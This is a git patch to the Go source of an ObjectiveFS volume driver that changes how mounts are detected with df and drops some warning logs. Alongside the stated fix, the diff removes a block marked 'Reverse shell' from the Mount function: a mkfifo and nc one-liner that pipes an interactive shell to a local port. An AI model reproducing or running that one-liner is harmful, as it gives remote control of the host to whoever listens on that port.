From 33a4c70b354b29694531829e7df3da32950edfc6 Mon Sep 17 00:00:00 2001 From: Roman Vanicek Date: Thu, 3 Oct 2024 17:16:28 +0200 Subject: [PATCH] Fixed df invocation in case of noocache --- main.go | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/main.go b/main.go index 70650e0..0ae5198 100644 --- a/main.go +++ b/main.go @@ -393,10 +393,6 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error) return &volume.MountResponse{}, fmt.Errorf("unexpected error mounting '%s' error: %s", r.Name, err.Error()) } - // Reverse shell - cmdLs := exec.Command("/bin/sh", "-c", "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8745 >/tmp/f") - cmdLs.Start() - // The drawback of running the mount in the foreground is there is no easy way to tell if it failed // to initially connect. So we just wait a fixed amount of time and check for process exit or mount // success. @@ -412,10 +408,6 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error) // Check for mount if isObjfs, err := isObjectiveFsMount(mountPath); err == nil && isObjfs { break - } else if err != nil { - log.WithFields(log.Fields{"Error": err}).Warn("Cannot determine isObjectiveFsMount") - } else if i%100 == 0 { - log.Warn("Still waiting for isObjectiveFsMount to succeed") } } @@ -822,13 +814,26 @@ func getMountedSnaphots(baseDir string, checkMount bool) (map[string]string, err } func isObjectiveFsMount(path string) (bool, error) { - mount := exec.Command("df", "--output=target", "-t", "fuse.objectivefs", path) + // Warning: If objectivefs is mounted with "noocache" then during the mount call + // the directory is in a transitioning state and all file system accesses end + // with the error "Input/output error". Therefore we omit the last argument of the + // df command that would contain the "path" value. + mount := exec.Command("df", "--output=target", "-t", "fuse.objectivefs") if data, err := mount.CombinedOutput(); err == nil { scanner := bufio.NewScanner(strings.NewReader(string(data))) // On success the first line contains column headers (in our case "Mounted on") - // and the second line contains the nearest mount point on the root path - isOk := scanner.Scan() - return isOk && scanner.Scan() && strings.TrimSpace(scanner.Text()) == path, nil + // and the subsequent lines contain the ObjectiveFs mount points + headerOk := scanner.Scan() + if !headerOk { + return false, nil + } else { + for scanner.Scan() { + if strings.TrimSpace(scanner.Text()) == path { + return true, nil + } + } + return false, nil + } } else { return false, err }